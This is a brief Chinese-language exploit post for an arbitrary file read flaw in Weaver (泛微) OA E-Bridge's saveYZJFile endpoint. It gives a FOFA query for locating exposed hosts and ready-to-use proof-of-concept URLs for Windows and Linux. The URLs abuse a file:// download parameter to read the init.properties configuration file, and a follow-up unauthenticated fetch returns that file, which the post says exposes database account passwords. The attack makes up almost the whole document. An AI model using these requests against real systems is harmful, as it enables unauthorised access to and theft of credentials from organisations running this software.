泛微OA E-Bridge saveYZJFile 任意文件读取漏洞

chenqiang

泛微OA E-Bridge saveYZJFile 任意文件读取漏洞
fofa：title="泛微云桥e-Bridge"

windows使用POC读取配置文件，第二个POC修改id即可得到数据库账户密码

1. http://{{Hostname}}/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///d://ebridge/tomcat/webapps/ROOT/WEB-INF/classes/init.properties&fileExt=txt
   
2. 
   
3. http://{{Hostname}}/file/fileNoLogin/d6ceeee095014742a3fa151382c7d77e

复制代码

linux使用POC读取配置文件，第二个POC修改id即可得到数据库账户密码

1. http://{{Hostname}}/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///weaver/ebridge/tomcat/webapps/ROOT/WEB-INF/classes/init.properties&fileExt=txt
   
2. 
   
3. http://{{Hostname}}/file/fileNoLogin/173ee2bb1dd34e739fd0d74860612f17

复制代码